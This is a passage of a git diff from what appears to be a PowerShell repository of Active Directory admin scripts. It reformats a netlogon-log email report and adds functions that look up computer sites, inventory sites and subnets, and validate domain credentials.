-Path $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log -ErrorAction Continue)[$LogsLines .. -1]) | - Out-File -FilePath "$ScriptPathOutput\$DomainName-$DCName.txt" -ErrorAction 'Continue' -ErrorVariable ErrorOutFileNetLogon - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copied" - }#IF - ELSE { Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON File Empty !!" } - } - ELSE { Write-Warning -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.log is not reachable" } - - - - ########################### - # FILE PROCESS (PART 1/2) # - ########################### - # Combine results - $FilesToCombine = Get-Content -Path $ScriptPathOutput\*.txt -ErrorAction SilentlyContinue - IF ($FilesToCombine) - { - - # Detect version of the netlogon file - # Windows Server 2012 - IF ($FilesToCombine[0] -match "\[\d{1,5}\]") - { - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2012" - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress - } - - # Windows Server Pre-2012 (2003/2008) - IF($FilesToCombine[0] -notmatch "\[\d{1,5}\]") - { - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2008 and Previous versions" - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Domain, Error, Name, IPAddress,Code - } - - # Convert the TXT file to a CSV format - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." - $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress - - # Append Missing Subnet File - $importString | Where-Object { $_.Error -like "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv -Append - # Append Other Error File - $importString | Where-Object { $_.Error -notlike "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv -Append - - }#IF File to Combine - ELSE { Write-Verbose -Message "[PROCESS] Nothing to process" } - - }#TRY - CATCH - { - Write-Warning -Message "$ForestName - $domainName - $DCName - Something wrong happened" - if ($ErrorOutFileNetLogon) { Write-Warning -Message "$ForestName - $domainName - $DCName - Error with Out-File" } - }#CATCH - }#FOREACH - }#FOREACH Domains in Forest - - - ########################### - # FILE PROCESS (PART 2/2) # - ########################### - $MissingSubnets = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv - $OtherErrors = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv - - - - ############################ - # BUILDING THE HTML REPORT # - ############################ - Write-Verbose -Message "[PROCESS] $ForestName - Building the HTML Report" - - # MISSING SUBNETS - $EmailBody += "

Forest: $($ForestName.ToUpper())

" - $EmailBody += "

Domain: $($DomainName.ToUpper())

" - $EmailBody += "

Missing Subnet(s) for $($DomainName.ToUpper())

" - IF ($MissingSubnets) - { - $EmailBody += "List of Active Directory client that can not find their site.
You need to add those subnets into the console Active Directory Sites And Services
" - $EmailBody += $MissingSubnets | Sort-Object IPAddress -Unique | ConvertTo-Html -property IPAddress,Name,Date,Domain,Code, Error -Fragment #|out-string - } - ELSE { $EmailBody += "No Missing Subnet(s) detected" } - - # OTHER ERRORS - $EmailBody += "

Other Error(s)

" - IF ($OtherErrors) - { - $EmailBody += "
" - # Retrieve Each txt generated from the NETLOGON files - Get-ChildItem $scriptpathoutput\$DomainName-*.txt -Exclude "*All_Export*" | - ForEach-Object{ - # Get the Other Errors (not Missing subnets) - $CurrentFile = Get-Content $_ | Where-Object { $_ -notlike "*NO_CLIENT_SITE*" } - IF ($CurrentFile) - { - # Write the name of the log, this will help sysadmin to find which side report the error - $EmailBody += "$($_.basename)
" - $EmailBody += "
" - FOREACH ($Line in $CurrentFile) - { - $EmailBody += "$line
" - }#FOREACH - # Close the FONT block - $EmailBody += "
" - }#IF - }#foreach-object - } - ELSE { $EmailBody += "No Other Error detected" } - - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - }#CATCH - FINALLY - { - - - ############## - # SEND EMAIL # - ############## - - # Add PostContent to email - $EmailBody += $PostContent - - $EmailBody = $EmailBody -replace "", '
' - $FinalEmailBody = ConvertTo-Html -Head $Head -PostContent $EmailBody - - # EMAIL - Write-Verbose -Message "[PROCESS] Preparing the final Email" - $SmtpClient = New-Object -TypeName system.net.mail.smtpClient - $SmtpClient.host = $EmailServer - $SmtpClient.Port = $EmailServerPort - $MailMessage = New-Object -TypeName system.net.mail.mailmessage - $MailMessage.from = $EmailFrom - #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} - FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } - $MailMessage.IsBodyHtml = $true - $MailMessage.Subject = $EmailSubject - $MailMessage.Body = $FinalEmailBody - $SmtpClient.Send($MailMessage) - Write-Verbose -Message "[PROCESS] Email Sent!" - - - ############### - # SAVE REPORT # - ############### - - if ($PSBoundParameters['HTMLReportPath']) - { - $FinalEmailBody | Out-File -LiteralPath (Join-Path -Path $HTMLReportPath -ChildPath "$ForestName-$dateformat-Report.html") - } - } - +PROCESS { + TRY { + FOREACH ($Domain in $Forest.Domains) { + $DomainName = $Domain.Name.ToUpper() + + # Get the names of all the Domain Contollers in $domain + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Getting all Domain Controllers from ..." + $DomainControllers = $domain | ForEach-Object -Process { $_.DomainControllers } | Select-Object -Property Name + + # Gathering the NETLOGON.LOG for each Domain Controller + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Gathering Logs from Domain controllers" + FOREACH ($dc in $DomainControllers) { + $DCName = $($dc.Name).toUpper() + TRY { + + ####################### + # COPY NETLOGON Files # + ####################### + + # Get the Current Domain Controller in the Loop + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - Gathering Logs" + + # NETLOGON.LOG path for the current Domain Controller + $path = "\\$DCName\admin`$\debug\netlogon.log" + + # Testing the $path + IF ((Test-Path -Path $path) -and ($null -ne (Get-Item -Path $path).Length)) { + IF ((Get-Content -Path $path | Measure-Object -Line).lines -gt 0) { + #Copy the NETLOGON.log locally for the current DC + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copying..." + Copy-Item -Path $path -Destination $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log + + #Export the $LogsLines last lines of the NETLOGON.log and send it to a file + ((Get-Content -Path $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log -ErrorAction Continue)[$LogsLines .. -1]) | + Out-File -FilePath "$ScriptPathOutput\$DomainName-$DCName.txt" -ErrorAction 'Continue' -ErrorVariable ErrorOutFileNetLogon + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copied" + }#IF + ELSE { Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON File Empty !!" } + } + ELSE { Write-Warning -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.log is not reachable" } + + + + ########################### + # FILE PROCESS (PART 1/2) # + ########################### + # Combine results + $FilesToCombine = Get-Content -Path $ScriptPathOutput\*.txt -ErrorAction SilentlyContinue + IF ($FilesToCombine) { + + # Detect version of the netlogon file + # Windows Server 2012 + IF ($FilesToCombine[0] -match "\[\d{1,5}\]") { + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2012" + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress + } + + # Windows Server Pre-2012 (2003/2008) + IF ($FilesToCombine[0] -notmatch "\[\d{1,5}\]") { + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - NETLOGON format: 2008 and Previous versions" + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Domain, Error, Name, IPAddress, Code + } + + # Convert the TXT file to a CSV format + Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Importing exported data to a CSV format..." + $ImportString = $FilesToCombine | ConvertFrom-Csv -Delimiter ' ' -Header Date, Time, Code, Domain, Error, Name, IPAddress + + # Append Missing Subnet File + $importString | Where-Object -FilterScript { $_.Error -like "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv -Append + # Append Other Error File + $importString | Where-Object -FilterScript { $_.Error -notlike "*NO_CLIENT_SITE*" } | Export-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv -Append + + }#IF File to Combine + ELSE { Write-Verbose -Message "[PROCESS] Nothing to process" } + + }#TRY + CATCH { + Write-Warning -Message "$ForestName - $domainName - $DCName - Something wrong happened" + if ($ErrorOutFileNetLogon) { Write-Warning -Message "$ForestName - $domainName - $DCName - Error with Out-File" } + }#CATCH + }#FOREACH + }#FOREACH Domains in Forest + + + ########################### + # FILE PROCESS (PART 2/2) # + ########################### + $MissingSubnets = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-NOCLIENTSITE.csv + $OtherErrors = Import-Csv -LiteralPath $scriptpathOutput\$ForestName-$dateformat-OTHERERRORS.csv + + + + ############################ + # BUILDING THE HTML REPORT # + ############################ + Write-Verbose -Message "[PROCESS] $ForestName - Building the HTML Report" + + # MISSING SUBNETS + $EmailBody += "

Forest: $($ForestName.ToUpper())

" + $EmailBody += "

Domain: $($DomainName.ToUpper())

" + $EmailBody += "

Missing Subnet(s) for $($DomainName.ToUpper())

" + IF ($MissingSubnets) { + $EmailBody += "List of Active Directory client that can not find their site.
You need to add those subnets into the console Active Directory Sites And Services
" + $EmailBody += $MissingSubnets | Sort-Object IPAddress -Unique | ConvertTo-Html -property IPAddress, Name, Date, Domain, Code, Error -Fragment #|out-string + } + ELSE { $EmailBody += "No Missing Subnet(s) detected" } + + # OTHER ERRORS + $EmailBody += "

Other Error(s)

" + IF ($OtherErrors) { + $EmailBody += "
" + # Retrieve Each txt generated from the NETLOGON files + Get-ChildItem $scriptpathoutput\$DomainName-*.txt -Exclude "*All_Export*" | + ForEach-Object -Process { + # Get the Other Errors (not Missing subnets) + $CurrentFile = Get-Content $_ | Where-Object -FilterScript { $_ -notlike "*NO_CLIENT_SITE*" } + IF ($CurrentFile) { + # Write the name of the log, this will help sysadmin to find which side report the error + $EmailBody += "$($_.basename)
" + $EmailBody += "
" + FOREACH ($Line in $CurrentFile) { + $EmailBody += "$line
" + }#FOREACH + # Close the FONT block + $EmailBody += "
" + }#IF + }#foreach-object + } + ELSE { $EmailBody += "No Other Error detected" } + + }#TRY + CATCH { + Throw $_ + }#CATCH + FINALLY { + + + ############## + # SEND EMAIL # + ############## + + # Add PostContent to email + $EmailBody += $PostContent + + $EmailBody = $EmailBody -replace "
", '
' + $FinalEmailBody = ConvertTo-Html -Head $Head -PostContent $EmailBody + + # EMAIL + Write-Verbose -Message "[PROCESS] Preparing the final Email" + $SmtpClient = New-Object -TypeName system.net.mail.smtpClient + $SmtpClient.host = $EmailServer + $SmtpClient.Port = $EmailServerPort + $MailMessage = New-Object -TypeName system.net.mail.mailmessage + $MailMessage.from = $EmailFrom + #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} + FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } + $MailMessage.IsBodyHtml = $true + $MailMessage.Subject = $EmailSubject + $MailMessage.Body = $FinalEmailBody + $SmtpClient.Send($MailMessage) + Write-Verbose -Message "[PROCESS] Email Sent!" + + + ############### + # SAVE REPORT # + ############### + + if ($PSBoundParameters['HTMLReportPath']) { + $FinalEmailBody | Out-File -LiteralPath (Join-Path -Path $HTMLReportPath -ChildPath "$ForestName-$dateformat-Report.html") + } + } + }#PROCESS -END -{ - IF (-not $KeepLogs) - { - Write-Verbose "Cleanup txt and log files..." - Remove-item -Path $ScriptpathOutput\*.txt -force - Remove-Item -Path $ScriptPathOutput\*.log -force - Write-Verbose -Message "Script Completed" - } +END { + IF (-not $KeepLogs) { + Write-Verbose -Message "Cleanup txt and log files..." + Remove-Item -Path $ScriptpathOutput\*.txt -force + Remove-Item -Path $ScriptPathOutput\*.log -force + Write-Verbose -Message "Script Completed" + } }#END \ No newline at end of file diff --git a/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 b/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 new file mode 100644 index 00000000..58d45425 --- /dev/null +++ b/AD-SITE-Get-ADSIComputerSite/Get-ADSIComputerSite.ps1 @@ -0,0 +1,88 @@ +function Get-ADSIComputerSite { + <# +.SYNOPSIS + Function to retrieve the AD Site of a Computer + +.DESCRIPTION + Function to retrieve the AD Site of a Computer + + This function does not rely on the .NET Framework to retrieve the information + http://www.pinvoke.net/default.aspx/netapi32.dsgetsitename + + There is .NET method to get this information but only works on the local machine. + [System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::GetComputerSite() + +.PARAMETER ComputerName + Specifies the computer name(s) that you want to know the site. + +.EXAMPLE + Get-ADSIComputerName -ComputerName TestServer01 + + This will retrieve the Site of the Computer TestServer01 + +.EXAMPLE + Get-ADSIComputerName -ComputerName TestServer01,TestServer02 + + This will retrieve the Site of the Computers TestServer01 and TestServer02 + +.NOTES + https://github.com/lazywinadmin/ADSIPS + + Thanks to the Reddit folks for their help! :-) + https://www.reddit.com/r/PowerShell/comments/4cjdk8/get_the_ad_site_name_of_a_computer/ +.link + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + [OutputType('System.Management.Automation.PSCustomObject')] + param + ( + [parameter()] + [String[]]$ComputerName = $env:computername + ) + + begin { + $code = @" +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; + +public static class NetApi32 { + private class unmanaged { + [DllImport("NetApi32.dll", CharSet=CharSet.Auto, SetLastError=true)] + internal static extern UInt32 DsGetSiteName([MarshalAs(UnmanagedType.LPTStr)]string ComputerName, out IntPtr SiteNameBuffer); + + [DllImport("Netapi32.dll", SetLastError=true)] + internal static extern int NetApiBufferFree(IntPtr Buffer); + } + + public static string DsGetSiteName(string ComputerName) { + IntPtr siteNameBuffer = IntPtr.Zero; + UInt32 hResult = unmanaged.DsGetSiteName(ComputerName, out siteNameBuffer); + string siteName = Marshal.PtrToStringAuto(siteNameBuffer); + unmanaged.NetApiBufferFree(siteNameBuffer); + if(hResult == 0x6ba) { throw new Exception("ComputerName not found"); } + return siteName; + } +} +"@ + + Add-Type -TypeDefinition $code + } + process { + foreach ($Computer in $ComputerName) { + try { + $Properties = @{ + ComputerName = $Computer + SiteName = [NetApi32]::DsGetSiteName($Computer) + } + + New-Object -TypeName PSObject -property $Properties + } + catch { + $pscmdlet.ThrowTerminatingError($_) + } + } + } +} \ No newline at end of file diff --git a/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 new file mode 100644 index 00000000..43c361d7 --- /dev/null +++ b/AD-SITE-Get-ADSiteInventory/Get-ADSiteInventory.ps1 @@ -0,0 +1,108 @@ +function Get-ADSiteInventory { + <# + .SYNOPSIS + This function will retrieve information about the Sites and Services of the Active Directory + + .DESCRIPTION + This function will retrieve information about the Sites and Services of the Active Directory + + .EXAMPLE + Get-ADSiteInventory + + .EXAMPLE + Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv + + This will save all the site inventory to csv file + + .OUTPUTS + PSObject + + .NOTES + AUTHOR : Francois-Xavier Cat + DATE : 2014/02/02 + VERSION HISTORY : + 1.0 | 2014/02/02 | Francois-Xavier Cat + Initial Version + 1.1 | 2014/02/02 | Francois-Xavier Cat + Update some verbose messages + .LINK + https://github.com/lazywinadmin/PowerShell + +#> + [CmdletBinding()] + PARAM() + PROCESS { + TRY { + # Get Script name + $ScriptName = (Get-Variable -name MyInvocation -Scope 0 -ValueOnly).Mycommand + + # Domain and Sites Information + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest" + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve current Forest sites" + $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites + + # Forest Context + Write-Verbose -message "[$ScriptName][PROCESS] Create forest context" + $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" + $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType, $Forest + + # Distinguished Name of the Configuration Partition + Write-Verbose -message "[$ScriptName][PROCESS] Retrieve RootDSE Configuration Naming Context" + $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext + + # Get the Subnet Container + Write-Verbose -message "[$ScriptName][PROCESS] Get the Subnet Container" + $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" + + FOREACH ($item in $SiteInfo) { + + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name)" + + # Get the Site Links + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Getting Site Links" + $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext, $($item.name))).SiteLinks + + # Create PowerShell Object and Output + Write-Verbose -Message "[$ScriptName][PROCESS] SITE: $($item.name) - Preparing Output" + + New-Object -TypeName PSObject -Property @{ + Name = $item.Name + SiteLinks = $item.SiteLinks -join "," + Servers = $item.Servers -join "," + Domains = $item.Domains -join "," + Options = $item.options + AdjacentSites = $item.AdjacentSites -join ',' + InterSiteTopologyGenerator = $item.InterSiteTopologyGenerator + Location = $item.location + Subnets = ( $info = Foreach ($i in $item.Subnets.name) { + $SubnetAdditionalInfo = $SubnetsContainer.Children | Where-Object -FilterScript { $_.name -like "*$i*" } + "$i -- $($SubnetAdditionalInfo.Description)" + }) -join "," + #SiteLinksInfo = $LinksInfo | fl * + + #SiteLinksInfo = New-Object -TypeName PSObject -Property @{ + SiteLinksCost = $LinksInfo.Cost -join "," + ReplicationInterval = $LinksInfo.ReplicationInterval -join ',' + ReciprocalReplicationEnabled = $LinksInfo.ReciprocalReplicationEnabled -join ',' + NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' + TransportType = $LinksInfo.TransportType -join ',' + InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' + DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' + #} + #> + }#New-Object -TypeName PSoBject + }#Foreach ($item in $SiteInfo) + }#TRY + CATCH { + # Return the last error + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH + }#PROCESS + END { + Write-Verbose -Message "[$ScriptName][END] Script Completed!" + }#END +}#get-ADSiteServicesInfo + +#get-ADSiteServicesInfo #| export-csv .\test.csv +#Get-ADSiteInventory diff --git a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 index 1ea3b252..dd5c5d97 100644 --- a/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 +++ b/AD-SITE-Get_Site_and_Subnets/Get-ADSiteAndSubnet.ps1 @@ -1,44 +1,40 @@ -function Get-ADSiteAndSubnet { -<# - .SYNOPSIS - This function will retrieve Site names, subnets names and descriptions. +function Get-ADSiteAndSubnet { + <# + .SYNOPSIS + This function will retrieve Site names, subnets names and descriptions. - .DESCRIPTION - This function will retrieve Site names, subnets names and descriptions. + .DESCRIPTION + This function will retrieve Site names, subnets names and descriptions. - .EXAMPLE - Get-ADSiteAndSubnet - - .EXAMPLE - Get-ADSiteAndSubnet | Export-Csv -Path .\ADSiteInventory.csv + .EXAMPLE + Get-ADSiteAndSubnet - .OUTPUTS - PSObject + .EXAMPLE + Get-ADSiteAndSubnet | Export-Csv -Path .\ADSiteInventory.csv - .NOTES - AUTHOR : Francois-Xavier Cat - DATE : 2014/02/03 - - HISTORY : - - 1.0 2014/02/03 Initial Version - - + .OUTPUTS + PSObject + + .NOTES + CHANGE HISTORY: + 1.0 | 2014/02/03 | @lazywinadmin + Initial Version + .link + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] + [CmdletBinding()] PARAM() - BEGIN {Write-Verbose -Message "[BEGIN] Starting Script..."} - PROCESS - { - TRY{ - # Domain and Sites Information - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites + BEGIN { Write-Verbose -Message "[BEGIN] Starting Script..." } + PROCESS { + TRY { + # Domain and Sites Information + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites + + # Forest Context + $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" + $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType, $Forest - # Forest Context - $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" - $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest - # Distinguished Name of the Configuration Partition $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext @@ -46,35 +42,32 @@ $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" $SubnetsContainerchildren = $SubnetsContainer.Children - FOREACH ($item in $SiteInfo){ - - Write-Verbose -Message "[PROCESS] SITE: $($item.name)" + FOREACH ($item in $SiteInfo) { + + Write-Verbose -Message "[PROCESS] SITE: $($item.name)" $output = @{ Name = $item.name } - FOREACH ($i in $item.Subnets.name){ - Write-verbose -message "[PROCESS] SUBNET: $i" - $output.Subnet = $i - $SubnetAdditionalInfo = $SubnetsContainerchildren.Where({$_.name -match $i}) + FOREACH ($i in $item.Subnets.name) { + Write-Verbose -message "[PROCESS] SUBNET: $i" + $output.Subnet = $i + $SubnetAdditionalInfo = $SubnetsContainerchildren.Where( { $_.name -match $i }) - Write-verbose -message "[PROCESS] SUBNET: $i - DESCRIPTION: $($SubnetAdditionalInfo.Description)" - $output.Description = $($SubnetAdditionalInfo.Description) - - Write-verbose -message "[PROCESS] OUTPUT INFO" + Write-Verbose -message "[PROCESS] SUBNET: $i - DESCRIPTION: $($SubnetAdditionalInfo.Description)" + $output.Description = $($SubnetAdditionalInfo.Description) - New-Object -TypeName PSObject -Property $output - } - }#Foreach ($item in $SiteInfo) - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something Wrong Happened" - Write-Warning -Message $Error[0] - }#CATCH + Write-Verbose -message "[PROCESS] OUTPUT INFO" + + New-Object -TypeName PSObject -Property $output + } + }#Foreach ($item in $SiteInfo) + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH }#PROCESS - END - { - Write-Verbose -Message "[END] Script Completed!" - }#END + END { + Write-Verbose -Message "[END] Script Completed!" + }#END }#get-ADSiteServicesInfo \ No newline at end of file diff --git a/AD-SITE-Inventory/Get-ADSiteInventory.ps1 b/AD-SITE-Inventory/Get-ADSiteInventory.ps1 deleted file mode 100644 index 52ac2533..00000000 --- a/AD-SITE-Inventory/Get-ADSiteInventory.ps1 +++ /dev/null @@ -1,100 +0,0 @@ -function Get-ADSiteInventory { -<# - .SYNOPSIS - This function will retrieve information about the Sites and Services of the Active Directory - - .DESCRIPTION - This function will retrieve information about the Sites and Services of the Active Directory - - .EXAMPLE - Get-ADSiteInventory - - .EXAMPLE - Get-ADSiteInventory | Export-Csv -Path .\ADSiteInventory.csv - - .OUTPUTS - PSObject - - .NOTES - AUTHOR : Francois-Xavier Cat - DATE : 2014/02/02 - - HISTORY : - - 1.0 2014/02/02 Initial Version - - -#> - [CmdletBinding()] - PARAM() - BEGIN {Write-Verbose -Message "[BEGIN] Starting Script..."} - PROCESS - { - TRY{ - # Domain and Sites Information - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - $SiteInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites - - # Forest Context - $ForestType = [System.DirectoryServices.ActiveDirectory.DirectoryContexttype]"forest" - $ForestContext = New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList $ForestType,$Forest - - # Distinguished Name of the Configuration Partition - $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext - - # Get the Subnet Container - $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - - - FOREACH ($item in $SiteInfo){ - - Write-Verbose -Message "[PROCESS] SITE: $($item.name)" - - # Get the Site Links - Write-Verbose -Message "[PROCESS] SITE: $($item.name) - Getting Site Links" - $LinksInfo = ([System.DirectoryServices.ActiveDirectory.ActiveDirectorySite]::FindByName($ForestContext,$($item.name))).SiteLinks - - # Create PowerShell Object and Output - Write-Verbose -Message "[PROCESS] SITE: $($item.name) - Preparing Output" - - New-Object -TypeName PSObject -Property @{ - Name= $item.Name - SiteLinks = $item.SiteLinks -join "," - Servers = $item.Servers -join "," - Domains = $item.Domains -join "," - Options = $item.options - AdjacentSites = $item.AdjacentSites -join ',' - InterSiteTopologyGenerator = $item.InterSiteTopologyGenerator - Location = $item.location - Subnets = ( $info = Foreach ($i in $item.Subnets.name){ - $SubnetAdditionalInfo = $SubnetsContainer.Children | Where-Object {$_.name -like "*$i*"} - "$i -- $($SubnetAdditionalInfo.Description)" }) -join "," - #SiteLinksInfo = $LinksInfo | fl * - - #SiteLinksInfo = New-Object -TypeName PSObject -Property @{ - SiteLinksCost = $LinksInfo.Cost -join "," - ReplicationInterval = $LinksInfo.ReplicationInterval -join ',' - ReciprocalReplicationEnabled = $LinksInfo.ReciprocalReplicationEnabled -join ',' - NotificationEnabled = $LinksInfo.NotificationEnabled -join ',' - TransportType = $LinksInfo.TransportType -join ',' - InterSiteReplicationSchedule = $LinksInfo.InterSiteReplicationSchedule -join ',' - DataCompressionEnabled = $LinksInfo.DataCompressionEnabled -join ',' - #} - #> - }#New-Object -TypeName PSoBject - }#Foreach ($item in $SiteInfo) - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something Wrong Happened" - Write-Warning -Message $Error[0] - }#CATCH - }#PROCESS - END - { - Write-Verbose -Message "[END] Script Completed!" - }#END -}#get-ADSiteServicesInfo - -#get-ADSiteServicesInfo #| export-csv .\test.csv -Get-ADSiteInventory \ No newline at end of file diff --git a/AD-TOOL-Test-ADCredential/Test-ADCredential.ps1 b/AD-TOOL-Test-ADCredential/Test-ADCredential.ps1 new file mode 100644 index 00000000..705651bc --- /dev/null +++ b/AD-TOOL-Test-ADCredential/Test-ADCredential.ps1 @@ -0,0 +1,32 @@ +<# +.Synopsis +Verify Active Directory credentials +.DESCRIPTION +This function takes a user name and a password as input and will verify if the combination is correct. The function returns a boolean based on the result. +.NOTES +Name: Test-ADCredential +Version: 1.0 +.PARAMETER UserName +The samaccountname of the Active Directory user account +.PARAMETER Password +The password of the Active Directory user account +.EXAMPLE +Test-ADCredential -username username1 -password Password1! +Description: +Verifies if the username and password provided are correct, returning either true or false based on the result +#> +function Test-ADCredential { + [CmdletBinding()] + Param + ( + [string]$UserName, + [string]$Password + ) + if (!($UserName) -or !($Password)) { + Write-Warning 'Test-ADCredential: Please specify both user name and password' + } else { + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext('domain') + $DS.ValidateCredentials($UserName, $Password) + } +} diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index fddde971..eb96b600 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -1,43 +1,42 @@ -function Get-ADDirectReports -{ - <# - .SYNOPSIS - This function retrieve the directreports property from the IdentitySpecified. - Optionally you can specify the Recurse parameter to find all the indirect - users reporting to the specify account (Identity). - - .DESCRIPTION - This function retrieve the directreports property from the IdentitySpecified. - Optionally you can specify the Recurse parameter to find all the indirect - users reporting to the specify account (Identity). - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - Blog post: http://www.lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html - - VERSION HISTORY - 1.0 2014/10/05 Initial Version - - .PARAMETER Identity - Specify the account to inspect - - .PARAMETER Recurse - Specify that you want to retrieve all the indirect users under the account - - .EXAMPLE - Get-ADDirectReports -Identity Test_director - +function Get-ADDirectReports { + <# + 